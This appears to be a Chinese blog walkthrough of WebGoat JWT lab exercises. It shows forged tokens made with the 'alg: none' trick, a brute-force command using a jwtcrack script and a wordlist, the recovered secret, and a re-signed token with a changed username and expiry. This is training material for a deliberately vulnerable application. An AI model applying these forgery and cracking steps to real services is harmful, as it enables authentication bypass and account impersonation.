赞
踩
发现 token
在jwt 解密网站解密
让后将刚刚提到的两点进行修改,先修改 alg 方式为 none
这里图中 alg 原来的加密方式标错了,是 HS256
修改之后的 base64 值需要将==删除
声明部分的修改跟头部的修改一样
因为加密方式改为了 none,所以签名部分直接留空,但是.要写
所以拼接后的 token 为
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjY5MDQwMzE4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
替换 token
成功重置票数
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY2ODE3NjEyNiwiZXhwIjoxNjY4MTc2MTg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.8QnyWHtsJgvKPAROiFDESES3vSViT_HB2TTreY4rP10
题目说需要找出密钥,并且用户名更改为 WebGoat,重点就是在找出密钥
通过jwt 解密网站解密
发现在 header 头部的加密方式还是 HS256,这不是重点
重点在 payload 声明中的 exp 和 username,exp 是 token 过期的时间戳,时间戳需要修改到当前时间之后,也就让它不过期
而 username 就是题目要我们修改的东西,我们需要把 username 修改为 WebGoat
删除编码后的=,得到修改后的 token
eyJhbGciOiJIUzI1NiJ9.ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAiaWF0IjogMTY2ODE3NjEyNiwKICAiZXhwIjogMTcwODE3NjE4NiwKICAic3ViIjogInRvbUB3ZWJnb2F0Lm9yZyIsCiAgInVzZXJuYW1lIjogIldlYkdvYXQiLAogICJFbWFpbCI6ICJ0b21Ad2ViZ29hdC5vcmciLAogICJSb2xlIjogWwogICAgIk1hbmFnZXIiLAogICAgIlByb2plY3QgQWRtaW5pc3RyYXRvciIKICBdCn0.签名
但是因为加密方式还是 HS256 ,我们还需要密钥才能得到签名,所以需要用到一个 github 上的工具jwtcrack在本地暴力破解密钥,用这个工具需要先自己在 github 上下载一个字典
我们将题目给的完整的 jwt-token 复制,并且在工具目录打开 cmd,执行以下命令:
python crackjwt.py JWT 字典.txt
这里我执行的就是
python crackjwt.py eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY2ODE3NjEyNiwiZXhwIjoxNjY4MTc2MTg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.8QnyWHtsJgvKPAROiFDESES3vSViT_HB2TTreY4rP10 bible.txt
破解成功:
将密钥 shipping 填入解密网站,然后直接在网站修改 exp 与 username,会自动生成新的 jwt-token
复制左侧生成的 token 直接填入关卡即可成功伪造用户信息
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。